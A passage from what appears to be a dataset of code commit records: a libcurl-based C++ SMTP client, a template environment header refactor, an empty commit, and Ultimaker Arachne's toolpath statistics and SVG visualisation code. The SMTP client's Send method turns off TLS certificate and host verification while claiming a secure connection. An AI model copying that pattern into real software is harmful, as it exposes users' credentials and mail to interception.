send\n\t}\n\n\tsize_t len = client->SendLines[ client->SendIndex ].size();\n\tmemcpy(contents, client->SendLines[ client->SendIndex ](), len );\n\tclient->SendIndex ++;\n\treturn len;\n\n\t\/*\n\t\/\/ How much are they asking for?\n\tsize_t realsize = size * nmemb;\n\n\tif( realsize > (client->SendBuffer.size() - client->SendIndex) ){\n\t\t\/\/ They are asking for more data than we have.  Send it all:\n\t\tmemcpy( contents,  \/\/ Where to write the memory\n\t\t\tclient->SendBuffer() + client->SendIndex,  \/\/ Where to read the memory\n\t\t\tclient->SendBuffer.size() - client->SendIndex \/\/ How much to write\n\t\t);\n\n\t\tprintf(\"Smtp_ReadMemoryCallback - wrote %ld bytes to buffer\\n\", \n\t\t\tclient->SendBuffer.size() - client->SendIndex\n\t\t);\n\t\t\t\n\t\tclient->SendIndex = client->SendBuffer.size();\n\t\treturn (client->SendBuffer.size() - client->SendIndex); \/\/ how much did we write\n\t} else {\n\t\t\/\/ They are asking for less than what we have.  Send only what they\n\t\t\/\/ ask for\n\t\tmemcpy( contents, \/\/ where to write the memory\n\t\t\tclient->SendBuffer() + client->SendIndex, \/\/ Where to read the memory\n\t\t\trealsize \/\/ How much to write\n\t\t);\n\n\t\tprintf(\"Smtp_ReadMemoryCallback - wrote %ld bytes to buffer\\n\", \n\t\t\trealsize\n\t\t);\n\t\t\t\n\t\tclient->SendIndex += realsize; \/\/ Keep track of where we are in the buffer\n\t\treturn realsize; \/\/ Hom much did we write\n\t}\n\t*\/\n}\n\n\/** This one is used to report progress of downloads\n  *\/\nint SmtpClient_ProgressCallback(void* clientp, double dltotal, double dlnow, double ultotal, double ulnow)\n{\n\tSmtpClient* client = (SmtpClient*)clientp;\n\treturn client->Progress(dltotal, dlnow, ultotal, ulnow);\n}\n\nSmtpClient::SmtpClient()\n{\n\tEnEx ee(FL, \"SmtpClient::SmtpClient()\");\n\n\tif(SmtpClient_cURL_Initialized == false){\n\t\tcurl_global_init(CURL_GLOBAL_ALL);\n\t\tSmtpClient_cURL_Initialized = true;\n\t}\n\tm_curl_handle = curl_easy_init();\n}\n\nSmtpClient::~SmtpClient()\n{\n\tEnEx ee(FL, \"SmtpClient::~SmtpClient()\");\n\n\tcurl_easy_cleanup( m_curl_handle );\n}\n\nint SmtpClient::Progress(double dltotal, double dlnow, double ultotal, double ulnow)\n{\n\t\/\/ If we return a non-zero value, it will abort the transfer.\n\treturn 0;\n}\n\nvoid SmtpClient::Send(EMail& message, const twine& smtpServer, const twine& user, const twine& pass, \n\tint port, bool useSsl)\n{\n\tEnEx ee(FL, \"SmtpClient::Send(EMail& message, const twine& smtpServer, const twine& user, const twine& pass, int port, bool useSsl)\");\n\n\tTmpFile verboseLog; \/\/ Create a temp file to hold the verbose log - will be cleaned up when this method exits\n\tSendLines.clear();\n\tSendIndex = 0;\n\tFormatMessage( message );\n\n\t\/\/printf(\"Here's what we're sending:\\n%s\\n\", SendLines() );\n\n\tCURLcode res = CURLE_OK;\n\tchar errbuf[ CURL_ERROR_SIZE ];\n\tmemset(errbuf, 0, CURL_ERROR_SIZE);\n\tstruct curl_slist *recipients = NULL;\n\n\t\/\/ Set the user name and password\n\tcurl_easy_setopt( m_curl_handle, CURLOPT_USERNAME, user() );\n\tcurl_easy_setopt( m_curl_handle, CURLOPT_PASSWORD, pass() );\n\n\t\/\/ Set up the URL for the mail server.  Default port is 25, 587 is commonly used for \n\t\/\/ secure mail submission.\n\ttwine url; url.format(\"smtp:\/\/%s:%d\", smtpServer(), port);\n\tcurl_easy_setopt( m_curl_handle, CURLOPT_URL, url() );\n\n\t\/\/ If they have asked for a secure connection, ensure that it's setup.\n\tif(useSsl){\n\t\tcurl_easy_setopt( m_curl_handle, CURLOPT_USE_SSL, (long)CURLUSESSL_ALL );\n\t\t\/\/ Ignore SSL cert issues\n\t\tcurl_easy_setopt( m_curl_handle, CURLOPT_SSL_VERIFYPEER, false);\n\t\tcurl_easy_setopt( m_curl_handle, CURLOPT_SSL_VERIFYHOST, false);\n\t}\n\n\tcurl_easy_setopt( m_curl_handle, CURLOPT_MAIL_FROM, message.From()() );\n\n\tfor(auto& to : message.TOList()){\n\t\tif(to.empty() == false){\n\t\t\trecipients = curl_slist_append(recipients, to() );\n\t\t}\n\t}\n\tfor(auto& cc : message.CCList()){\n\t\tif(cc.empty() == false){\n\t\t\trecipients = curl_slist_append(recipients, cc() );\n\t\t}\n\t}\n\tcurl_easy_setopt( m_curl_handle, CURLOPT_MAIL_RCPT, recipients );\n\n\n\tcurl_easy_setopt( m_curl_handle, CURLOPT_READFUNCTION, SmtpClient_ReadMemoryCallback );\n\tcurl_easy_setopt( m_curl_handle, CURLOPT_READDATA, this );\n\tcurl_easy_setopt( m_curl_handle, CURLOPT_UPLOAD, 1L );\n\n\t\/\/ For progress information\n\tcurl_easy_setopt( m_curl_handle, CURLOPT_NOPROGRESS, 0L);\n\tcurl_easy_setopt( m_curl_handle, CURLOPT_PROGRESSFUNCTION, SmtpClient_ProgressCallback );\n\tcurl_easy_setopt( m_curl_handle, CURLOPT_PROGRESSDATA, this );\n\n\tcurl_easy_setopt( m_curl_handle, CURLOPT_VERBOSE, 1L );\n\tcurl_easy_setopt( m_curl_handle, CURLOPT_ERRORBUFFER, errbuf );\n\tcurl_easy_setopt( m_curl_handle, CURLOPT_STDERR, (FILE*)verboseLog );\n\n\t\/\/ Add in proxy information if given\n\tif(!m_proxy.empty()){\n\t\tDEBUG(FL, \"Using proxy of (%s)\", m_proxy() );\n\t\tcurl_easy_setopt( m_curl_handle, CURLOPT_PROXY, m_proxy() );\n\t}\n\n\tPostOptions();\n\n\tres = curl_easy_perform( m_curl_handle );\n\tverboseLog.flush();\n\ttwine errmsg; \n\tif(res != CURLE_OK){\n\t\tWARN(FL, \"Sending SMTP Message failed: %s: %s\\n%s\", \n\t\t\tcurl_easy_strerror(res), errbuf, verboseLog.readContentsAsTwine()() \n\t\t);\n\t\terrmsg.format(\"Sending SMTP Message failed: %s: %s\", curl_easy_strerror(res), errbuf );\n\t\t\/\/printf(\"%s\", errmsg() );\n\t}\n\n\t\/\/ Always clean up and free lists\n\tcurl_slist_free_all(recipients);\n\tcurl_easy_reset( m_curl_handle );\n\n\tPostFree();\n\n\t\/\/ Now check to see if we need to throw an exception\n\tif(res != CURLE_OK){\n\t\tthrow AnException(0, FL, errmsg() );\n\t}\n\n}\n\nvoid SmtpClient::SetProxy(const twine& proxyUrl )\n{\n\tEnEx ee(FL, \"SmtpClient::SetProxy(const twine& proxyUrl)\");\n\n\tm_proxy = proxyUrl;\n}\n\nvoid SmtpClient::PostOptions()\n{\n\t\/\/ Our implementation does nothing with this method.  Child classes can override this as necessary.\n}\n\nvoid SmtpClient::PostFree()\n{\n\t\/\/ Our implementation does nothing with this method.  Child classes can override this as necessary.\n}\n\nvoid SmtpClient::FormatMessage(EMail& message )\n{\n\tEnEx ee(FL, \"SmtpClient::FormatMessage(EMail& message)\" );\n\n\t\/\/printf(\"here0\\n\");\n\tSendLines.clear();\n\tSendIndex = 0;\n\n\ttwine tmp;\n\n\tif(message.ReplyTo().size() == 0){\n\t\tmessage.ReplyTo(message.From());\n\t}\n\ttwine boundary;  boundary.format(\"SLibSmtpClient=%s\", message.CreateDate().GetValue(\"%Y%m%d%H%M%S\")() );\n\n\ttmp.format(\"From: %s\\r\\n\", message.From()() ); SendLines.push_back( tmp );\n\ttmp.format(\"Subject: %s\\r\\n\", message.Subject()() ); SendLines.push_back( tmp );\n\ttmp.format(\"Date: %s\\r\\n\", message.CreateDate().EDate()() ); SendLines.push_back( tmp );\n\ttmp.format(\"Reply-To: %s\\r\\n\", message.ReplyTo()() ); SendLines.push_back( tmp );\n\n\t\/\/ Add in any custom headers the user has specified\n\tfor(size_t i = 0; i < message.HeaderList().size(); i++){\n\t\ttmp.format(\"%s: %s\\r\\n\", message.HeaderList()[i].first(), message.HeaderList()[i].second() );\n\t\tSendLines.push_back( tmp );\n\t}\n\n\ttmp.format(\"MIME-Version: 1.0\\r\\n\" ); SendLines.push_back(tmp);\n\ttmp.format(\"Content-Type: multipart\/mixed; boundary=\\\"%s\\\"\\r\\n\", boundary() ); SendLines.push_back(tmp);\n\ttmp = \"To:\";\n\tfor(size_t i = 0; i < message.TOList().size()-1; i++){\n\t\ttmp += \" \" + message.TOList()[i] + \",\";\n\t}\n\ttmp += \" \" + message.TOList()[ message.TOList().size() - 1] + \"\\r\\n\";\n\tSendLines.push_back( tmp );\n\n\tif(message.CCList().size() > 0){\n\t\ttmp = \"Cc:\";\n\t\tfor(size_t i = 0; i < message.CCList().size()-1; i++){\n\t\t\ttmp += \" \" + message.CCList()[i] + \",\";\n\t\t}\n\t\ttmp += \" \" + message.CCList()[ message.CCList().size() - 1] + \"\\r\\n\";\n\t\tSendLines.push_back( tmp );\n\t}\n\n\tSendLines.push_back( \"\\r\\n\" ); \/\/ Empty line to divide headers from body\n\t\n\tSendLines.push_back( \"--\" + boundary + \"\\r\\n\" );\n\tSendLines.push_back( \"Content-Type: text\/plain; charset=utf-8\\r\\n\");\n\tSendLines.push_back( \"\\r\\n\" ); \/\/ Empty line to divide headers from body\n\n\tvector<twine> bodyLines = message.Body().split(\"\\n\");\n\tfor(size_t i = 0; i < bodyLines.size(); i++){\n\t\tSendLines.push_back( bodyLines[i] + \"\\r\\n\" );\n\t}\n\n\tvector< EMailAttachment >& attachments = message.AttachmentList();\n\tfor(size_t i = 0; i < attachments.size(); i++){\n\t\tSendLines.push_back( \"\\r\\n--\" + boundary + \"\\r\\n\" );\n\t\ttmp.format( \"Content-Type: %s; charset=utf-8\\r\\n\", attachments[i].mimeType() );\n\t\tSendLines.push_back( tmp );\n\t\ttmp.format( \"Content-Disposition: attachment; filename=\\\"%s\\\"\\r\\n\", attachments[i].fileName());\n\t\tSendLines.push_back( tmp );\n\t\tSendLines.push_back( \"Content-Transfer-Encoding: base64\\r\\n\");\n\t\tSendLines.push_back( \"\\r\\n\" ); \/\/ Empty line to divide headers from body\n\n\t\t\/\/ Make a copy of the data for base64 encoding:\n\t\tMemBuf dataCopy( *attachments[i].data );\n\n\t\t\/\/ base64 encode the attachment copy\n\t\tdataCopy.encode64();\n\n\t\ttwine b64; b64.set( dataCopy.data(), dataCopy.size() );\n\t\tvector<twine> attachLines = b64.split(\"\\n\");\n\t\tfor(size_t j = 0; j < attachLines.size(); j++){\n\t\t\tSendLines.push_back( attachLines[j] + \"\\r\\n\" );\n\t\t}\n\t\tSendLines.push_back( \"\\r\\n\" ); \/\/ Terminate the data\n\t}\n\n\tSendLines.push_back( \"\\r\\n\" ); \/\/ Empty line to signal end of section\n\tSendLines.push_back( \"--\" + boundary + \"--\\r\\n\" ); \/\/ Last boundary has -- before and after boundary text\n\n\t\/*\n\tfor(size_t i = 0; i < SendLines.size(); i++){\n\t\tprintf(\"%s\", SendLines[i]() );\n\t}\n\t*\/\n\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\n\/\/  The environment should contain the following bindings:\n\/\/  * name - skeleton tree\n\/\/  * name - annotation                 <--- TODO ?\n\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n#ifndef rpl_environment_hpp\n#define rpl_environment_hpp\n\n#include <map>\n#include <memory>\n\ntemplate <typename T>\nusing snode_ptr = std::shared_ptr<T>;\n\ntemplate <typename K, typename V>\nstruct environment {\n    snode_ptr<V> get(K& key);\n    void put(K& id, V* value);\nprivate:\n    std::map<K, snode_ptr<V>> env;\n};\n\ntemplate <typename K, typename V>\nsnode_ptr<V> environment<K,V>::get(K& key) {\n    return env.at(key);\n}\n\ntemplate <typename K, typename V>\nvoid environment<K,V>::put(K& id, V* value) {\n    snode_ptr<V> sptr(value);\n    env[id] = sptr;\n}\n\n#endif\n<commit_msg>multimap internal representation<commit_after>\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\n\/\/  The environment contain the following type of bindings:\n\/\/  * K -> { V }\n\/\/\n\/\/  Environment implemented internally as a multimap\n\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n#ifndef rpl_environment_hpp\n#define rpl_environment_hpp\n\n#include <map>\n#include <utility>\n#include <memory>\n\n\/\/ useful typedefs\ntemplate <typename T>\nusing ptr = std::shared_ptr<T>;\n\ntemplate <typename K, typename V>\nusing iterator = typename std::multimap<K, V>::iterator;\n\ntemplate <typename K, typename V>\nstruct environment\n{\n    typedef ::iterator<K, ptr<V>> it;\n\n    \/\/\/ returns a range containing all the elements with given key\n    std::pair<it, it> range( const K& key );\n\n    \/\/ get an element for the given key\n    ptr<V> get(const K& key);\n\n    \/\/ substitutes old <key,value> pair with the new one\n    void put(const K& key, V* value);\n\n    \/\/ add the <key,value> pair in the environment\n    void add(const K& key, V* value);\n\n    \/\/ modify content at pos\n    void modify(it pos, V* value);\n\n    \/\/ clear content for given key\n    void clear( const K& key );\n\nprivate:\n    std::multimap<K, ptr<V>> env;\n};\n\ntemplate <typename K, typename V>\nstd::pair<::iterator<K, ptr<V>>, ::iterator<K, ptr<V>>> environment<K,V>::range( const K& key )\n{\n    return env.equal_range( key );\n}\n\ntemplate <typename K, typename V>\nptr<V> environment<K,V>::get( const K& key )\n{\n    auto it = env.find(key);\n    return (it != env.end()) ? it->second : nullptr;\n}\n\ntemplate <typename K, typename V>\nvoid environment<K,V>::put(const K& key, V* value)\n{\n    env.erase( key );\n    env.insert({ key, ptr<V>(value) });\n}\n\ntemplate <typename K, typename V>\nvoid environment<K,V>::add(const K& key, V* value)\n{\n    env.insert({ key, ptr<V>(value) });\n}\n\ntemplate <typename K, typename V>\nvoid environment<K,V>::modify(::iterator<K, ptr<V>> pos, V* value)\n{\n    if (value != nullptr)\n        pos->second = ptr<V>(value);\n}\n\ntemplate <typename K, typename V>\nvoid environment<K,V>::clear(const K& k)\n{\n    env.erase(k);\n}\n#endif\n<|endoftext|>"}
{"text":"<commit_before><commit_msg>update version NO<commit_after><|endoftext|>"}
{"text":"<commit_before>\/\/Copyright (c) 2019 Ultimaker B.V.\n\n\n#include \"Statistics.h\"\n\n#include <sstream>\n#include <fstream>\n\n#include \"utils\/logoutput.h\"\n\nnamespace arachne\n{\n\nvoid Statistics::analyse(Polygons& input, std::vector<std::vector<std::vector<ExtrusionJunction>>>& polygons_per_index, std::vector<std::vector<std::vector<ExtrusionJunction>>>& polylines_per_index, VoronoiQuadrangulation* vq)\n{\n    this->input = &input;\n    this->vq = vq;\n    this->polygons_per_index = &polygons_per_index;\n    this->polylines_per_index = &polylines_per_index;\n\n    generateAllSegments(polygons_per_index, polylines_per_index);\n\n    \n    for (coord_t segment_idx = 0; segment_idx < all_segments.size(); segment_idx++)\n    {\n        Segment s = all_segments[segment_idx];\n        Polygons covered = s.s.toPolygons(false);\n        area_covered.add(covered);\n        Polygons extruded = s.toPolygons();\n        overlaps.add(extruded);\n    }\n    \n    area_covered = area_covered.execute(ClipperLib::pftNonZero);\n\n    overfills = overlaps;\n    for (PolygonRef poly : area_covered)\n    {\n        PolygonRef new_poly = overfills.newPoly();\n        for (coord_t point_idx = poly.size() - 1; point_idx >= 0; --point_idx)\n        {\n            new_poly.add(poly[point_idx]);\n        }\n    }\n    double_overfills = overfills;\n    for (PolygonRef poly : area_covered)\n    {\n        PolygonRef new_poly = double_overfills.newPoly();\n        for (coord_t point_idx = poly.size() - 1; point_idx >= 0; --point_idx)\n        {\n            new_poly.add(poly[point_idx]);\n        }\n    }\n    overfills = overfills.execute(ClipperLib::pftPositive);\n    overfills = overfills.intersection(area_covered);\n    overfills = overfills.offset(-5);\n    overfills = overfills.offset(10);\n    overfills = overfills.offset(-5);\n\n    double_overfills = double_overfills.execute(ClipperLib::pftPositive);\n    double_overfills = double_overfills.offset(-5);\n    double_overfills = double_overfills.offset(10);\n    double_overfills = double_overfills.offset(-5);\n\n    overfill_area = INT2MM2(overfills.area());\n    double_overfill_area = INT2MM2(double_overfills.area());\n    double total_overfill_area = overfill_area + double_overfill_area;\n\/\/     logAlways(\"Total overfill area: %f mm²\\n\", total_overfill_area);\n\n    underfills = input.difference(area_covered);\n    underfills = underfills.offset(5);\n    underfills = underfills.offset(-10);\n    underfills = underfills.offset(5);\n\n    total_underfill_area = INT2MM2(underfills.area());\n\/\/     logAlways(\"Total underfill area: %f mm²\\n\", total_underfill_area);\n\/\/     std::vector<PolygonsPart> underfill_areas = underfills.splitIntoParts();\n\/\/     logAlways(\"Average area: %f mm² over %d parts\\n\", total_underfill_area \/ underfill_areas.size(), underfill_areas.size());\n\n    total_target_area = INT2MM2(input.area());\n    total_target_area_length = INT2MM(input.polygonLength());\n\/\/     logAlways(\"Total target area: %f mm²\\n\", total_target_area);\n\n    \/\/ initialize paths\n    for (Segment& segment : all_segments)\n    {\n        PolygonRef poly = paths.newPoly();\n        poly.emplace_back(segment.s.from.p);\n        poly.emplace_back(segment.s.to.p);\n    }\n\n}\n\nvoid Statistics::saveResultsCSV()\n{\n\n    {\n        std::ostringstream ss;\n        ss << \"output\/\" << output_prefix << \"_\" << test_type << \"_segments.csv\";\n        std::ofstream csv(ss.str(), std::ofstream::out | std::ofstream::trunc);\n        csv << \"from_x,from_y,from_width,to_x,to_y,to_width,filename_base,output_prefix\\n\";\n        for (const Segment& segment : all_segments)\n            csv << segment.s.from.p.X << \",\" << segment.s.from.p.Y << \",\" << segment.s.from.w << \",\"\n                << segment.s.to.p.X << \",\" << segment.s.to.p.Y << \",\" << segment.s.to.w << \",\"\n                << test_type << \",\" << output_prefix << '\\n';\n        csv.close();\n    }\n    {\n        std::ostringstream ss;\n        ss << \"output\/\" << output_prefix << \"_\" << test_type << \"_results.csv\";\n        std::ofstream csv(ss.str(), std::ofstream::out | std::ofstream::trunc);\n        csv << \"processing_time,overfill_area,double_overfill_area,total_underfill_area,total_target_area,total_target_area_length,test_type,output_prefix\\n\";\n        csv << processing_time << \",\" << overfill_area << \",\" << double_overfill_area << \",\" << total_underfill_area << \",\"\n            << total_target_area << \",\" << total_target_area_length << \",\"\n            << test_type << \",\" << output_prefix << '\\n';\n        csv.close();\n    }\n}\n\nvoid Statistics::generateAllSegments(std::vector<std::vector<std::vector<ExtrusionJunction>>>& polygons_per_index, std::vector<std::vector<std::vector<ExtrusionJunction>>>& polylines_per_index)\n{\n    for (std::vector<std::vector<ExtrusionJunction>>& polygons : polygons_per_index)\n    {\n        for (std::vector<ExtrusionJunction>& polygon : polygons)\n        {\n            ExtrusionJunction last = polygon.back();\n            for (coord_t junction_idx = 0; junction_idx < polygon.size(); junction_idx++)\n            {\n                ExtrusionJunction& junction = polygon[junction_idx];\n                ExtrusionSegment segment(last, junction, false);\n                all_segments.emplace_back(segment, false);\n                last = junction;\n            }\n        }\n    }\n    for (std::vector<std::vector<ExtrusionJunction>>& polylines : polylines_per_index)\n    {\n        for (std::vector<ExtrusionJunction>& polyline : polylines)\n        {\n            ExtrusionJunction last = polyline.front();\n            for (coord_t junction_idx = 0; junction_idx < polyline.size(); junction_idx++)\n            {\n                ExtrusionJunction& junction = polyline[junction_idx];\n                ExtrusionSegment segment(last, junction, false);\n                all_segments.emplace_back(segment, junction_idx == polyline.size() - 1);\n                last = junction;\n            }\n        }\n    }\n}\n\nvoid Statistics::visualize()\n{\n    AABB aabb(*input);\n\n    if (vq)\n    {\n        std::ostringstream ss;\n        ss << \"output\/\" << output_prefix << \"_\" << test_type << \"_after.svg\";\n        SVG svg(ss.str(), aabb);\n        vq->debugOutput(svg, false, false, true);\n        svg.writePolygons(paths, SVG::Color::BLACK, 2);\n        \n        if (false)\n        for (auto polys : *polylines_per_index)\n        {\n            for (auto poly : polys)\n            {\n                Point prev = poly.front().p;\n                for (ExtrusionJunction& j : poly)\n                {\n                    svg.writeLine(prev, j.p, SVG::Color::RED, 2);\n                    prev = j.p;\n                }\n            }\n        }\n        for (auto polylines : *polylines_per_index)\n        {\n            for (std::vector<ExtrusionJunction>& polyline : polylines)\n            {\n                svg.writePoint(polyline.front().p, false, 2, SVG::Color::GREEN);\n                svg.writePoint(polyline.back().p, false, 2, SVG::Color::BLUE);\n            }\n        }\n    }\n\n    {\n        std::ostringstream ss;\n        ss << \"output\/\" << output_prefix << \"_\" << test_type << \"_toolpaths.svg\";\n        SVG svg(ss.str(), aabb);\n        svg.writeAreas(*input, SVG::Color::GRAY, SVG::Color::NONE, 2);\n        bool alternate = true;\n        for (PolygonRef poly : overlaps)\n        {\n            svg.writeAreas(poly, alternate? SVG::Color::BLUE : SVG::Color::MAGENTA, SVG::Color::NONE);\n            alternate = !alternate;\n        }\n        svg.writePolygons(paths, SVG::Color::BLACK, 2);\n    }\n\n    {\n        std::ostringstream ss;\n        ss << \"output\/\" << output_prefix << \"_\" << test_type << \"_widths.svg\";\n        SVG svg(ss.str(), aabb);\n\/\/         svg.writeAreas(*input, SVG::Color::GRAY, SVG::Color::NONE, 2);\n\n        coord_t max_dev = 200;\n        coord_t min_w = 30;\n\n        \/\/ add legend\n        auto to_string = [](float v)\n        {\n            std::ostringstream ss;\n            ss << v;\n            return ss.str();\n        };\n        std::vector<Segment> all_segments_plus = all_segments;\n        AABB aabb(*input);\n        ExtrusionJunction legend_btm(Point(aabb.max.X + 400 + max_dev, aabb.max.Y), 400 - max_dev, 0);\n        ExtrusionJunction legend_top(Point(aabb.max.X + 400 + max_dev, aabb.min.Y), 400 + max_dev, 0);\n        ExtrusionJunction legend_mid((legend_top.p + legend_btm.p) \/ 2, (legend_top.w + legend_btm.w) \/ 2, 0);\n        legend_btm.p += (legend_mid.p - legend_btm.p) \/ 4;\n        legend_top.p += (legend_mid.p - legend_top.p) \/ 4;\n        ExtrusionSegment legend_segment(legend_btm, legend_top, true);\n        svg.writeAreas(legend_segment.toPolygons(false), SVG::ColorObject(200,200,200), SVG::Color::NONE); \/\/ real outline\n        all_segments_plus.emplace_back(legend_segment, true); \/\/ colored\n        Point legend_text_offset(400, 0);\n        svg.writeText(legend_top.p + legend_text_offset, to_string(INT2MM(legend_top.w)));\n        svg.writeText(legend_btm.p + legend_text_offset, to_string(INT2MM(legend_btm.w)));\n        svg.writeText(legend_mid.p + legend_text_offset, to_string(INT2MM(legend_mid.w)));\n        svg.writeLine(legend_top.p, legend_top.p + legend_text_offset);\n        svg.writeLine(legend_btm.p, legend_btm.p + legend_text_offset);\n        svg.writeLine(legend_mid.p, legend_mid.p + legend_text_offset);\n\n\n        Point3 green(0,255,0);\n        Point3 red(255,0,0);\n        Point3 blue(0,0,255);\n        for (const Segment& ss : all_segments_plus)\n        {\n            for (Segment s : discretize(ss, MM2INT(0.1)))\n            {\n                coord_t avg_w = (s.s.from.w + s.s.to.w) \/ 2;\n                Point3 clr;\n                float color_ratio = std::min(1.0, std::abs(avg_w - 400.0) \/ max_dev);\n                color_ratio = color_ratio * .5 + .5 * sqrt(color_ratio);\n                if (avg_w > 400)\n                {\n                    clr = red * color_ratio + green * (1.0 - color_ratio );\n                }\n                else\n                {\n                    clr = blue * color_ratio + green * (1.0 - color_ratio );\n                }\n                coord_t clr_max = std::max(clr.x, std::max(clr.y, clr.z));\n                clr = clr * 255 \/ clr_max;\n\n                clr.y = clr.y * (255 - 92 * clr.dot(green) \/ green.vSize() \/ 255) \/ 255;\n                s.s.from.w = std::max(min_w, min_w + (s.s.from.w - (400 - max_dev)) * 5 \/ 4);\n                s.s.to.w = std::max(min_w, min_w + (s.s.to.w - (400 - max_dev)) * 5 \/ 4);\n                Polygons covered = s.toPolygons();\n                svg.writeAreas(covered, SVG::ColorObject(clr.x, clr.y, clr.z), SVG::Color::NONE);\n            }\n        }\n\/\/         svg.writePolygons(paths, SVG::Color::BLACK, 1);\n    }\n\n    {\n        std::ostringstream ss;\n        ss << \"output\/\" << output_prefix << \"_\" << test_type << \"_accuracy.svg\";\n        SVG svg(ss.str(), aabb);\n        svg.writeAreas(*input, SVG::Color::GRAY, SVG::Color::NONE, 3);\n        svg.writeAreas(overfills, SVG::Color::RED, SVG::Color::NONE);\n        svg.writeAreas(double_overfills, SVG::Color::ORANGE, SVG::Color::NONE);\n        svg.writeAreas(underfills, SVG::Color::BLUE, SVG::Color::NONE);\n        svg.writePolygons(paths, SVG::Color::BLACK, 1);\n    }\n}\n\nstd::vector<Statistics::Segment> Statistics::discretize(const Segment& segment, coord_t step_size)\n{\n    ExtrusionSegment extrusion_segment = segment.s;\n    Point a = extrusion_segment.from.p;\n    Point b = extrusion_segment.to.p;\n    Point ab = b - a;\n    coord_t ab_length = vSize(ab);\n    coord_t step_count = std::max(static_cast<coord_t>(1), (ab_length + step_size \/ 2) \/ step_size);\n    std::vector<Segment> discretized;\n    ExtrusionJunction from = extrusion_segment.from;\n    for (coord_t step = 0; step < step_count; step++)\n    {\n        ExtrusionJunction mid(a + ab * (step + 1) \/ step_count, extrusion_segment.from.w + (extrusion_segment.to.w - extrusion_segment.from.w) * (step + 1) \/ step_count, extrusion_segment.from.perimeter_index);\n        discretized.emplace_back(ExtrusionSegment(from, mid, segment.s.is_odd), false);\n        from = mid;\n    }\n    discretized.back().is_full = segment.is_full;\n    return discretized;\n}\n\n} \/\/ namespace arachne\n<commit_msg>fix visualization of overfills outside of input outline shape<commit_after>\/\/Copyright (c) 2019 Ultimaker B.V.\n\n\n#include \"Statistics.h\"\n\n#include <sstream>\n#include <fstream>\n\n#include \"utils\/logoutput.h\"\n\nnamespace arachne\n{\n\nvoid Statistics::analyse(Polygons& input, std::vector<std::vector<std::vector<ExtrusionJunction>>>& polygons_per_index, std::vector<std::vector<std::vector<ExtrusionJunction>>>& polylines_per_index, VoronoiQuadrangulation* vq)\n{\n    this->input = &input;\n    this->vq = vq;\n    this->polygons_per_index = &polygons_per_index;\n    this->polylines_per_index = &polylines_per_index;\n\n    generateAllSegments(polygons_per_index, polylines_per_index);\n\n    \n    for (coord_t segment_idx = 0; segment_idx < all_segments.size(); segment_idx++)\n    {\n        Segment s = all_segments[segment_idx];\n        Polygons covered = s.s.toPolygons(false);\n        area_covered.add(covered);\n        Polygons extruded = s.toPolygons();\n        overlaps.add(extruded);\n    }\n    \n    area_covered = area_covered.execute(ClipperLib::pftNonZero);\n\n    overfills = overlaps;\n    for (PolygonRef poly : area_covered)\n    {\n        PolygonRef new_poly = overfills.newPoly();\n        for (coord_t point_idx = poly.size() - 1; point_idx >= 0; --point_idx)\n        {\n            new_poly.add(poly[point_idx]);\n        }\n    }\n    overfills.add(area_covered.difference(input));\n\n    double_overfills = overfills;\n    for (PolygonRef poly : area_covered)\n    {\n        PolygonRef new_poly = double_overfills.newPoly();\n        for (coord_t point_idx = poly.size() - 1; point_idx >= 0; --point_idx)\n        {\n            new_poly.add(poly[point_idx]);\n        }\n    }\n    overfills = overfills.execute(ClipperLib::pftPositive);\n    overfills = overfills.intersection(area_covered);\n    overfills = overfills.offset(-5);\n    overfills = overfills.offset(10);\n    overfills = overfills.offset(-5);\n\n    double_overfills = double_overfills.execute(ClipperLib::pftPositive);\n    double_overfills = double_overfills.offset(-5);\n    double_overfills = double_overfills.offset(10);\n    double_overfills = double_overfills.offset(-5);\n\n    overfill_area = INT2MM2(overfills.area());\n    double_overfill_area = INT2MM2(double_overfills.area());\n    double total_overfill_area = overfill_area + double_overfill_area;\n\/\/     logAlways(\"Total overfill area: %f mm²\\n\", total_overfill_area);\n\n    underfills = input.difference(area_covered);\n    underfills = underfills.offset(5);\n    underfills = underfills.offset(-10);\n    underfills = underfills.offset(5);\n\n    total_underfill_area = INT2MM2(underfills.area());\n\/\/     logAlways(\"Total underfill area: %f mm²\\n\", total_underfill_area);\n\/\/     std::vector<PolygonsPart> underfill_areas = underfills.splitIntoParts();\n\/\/     logAlways(\"Average area: %f mm² over %d parts\\n\", total_underfill_area \/ underfill_areas.size(), underfill_areas.size());\n\n    total_target_area = INT2MM2(input.area());\n    total_target_area_length = INT2MM(input.polygonLength());\n\/\/     logAlways(\"Total target area: %f mm²\\n\", total_target_area);\n\n    \/\/ initialize paths\n    for (Segment& segment : all_segments)\n    {\n        PolygonRef poly = paths.newPoly();\n        poly.emplace_back(segment.s.from.p);\n        poly.emplace_back(segment.s.to.p);\n    }\n\n}\n\nvoid Statistics::saveResultsCSV()\n{\n\n    {\n        std::ostringstream ss;\n        ss << \"output\/\" << output_prefix << \"_\" << test_type << \"_segments.csv\";\n        std::ofstream csv(ss.str(), std::ofstream::out | std::ofstream::trunc);\n        csv << \"from_x,from_y,from_width,to_x,to_y,to_width,filename_base,output_prefix\\n\";\n        for (const Segment& segment : all_segments)\n            csv << segment.s.from.p.X << \",\" << segment.s.from.p.Y << \",\" << segment.s.from.w << \",\"\n                << segment.s.to.p.X << \",\" << segment.s.to.p.Y << \",\" << 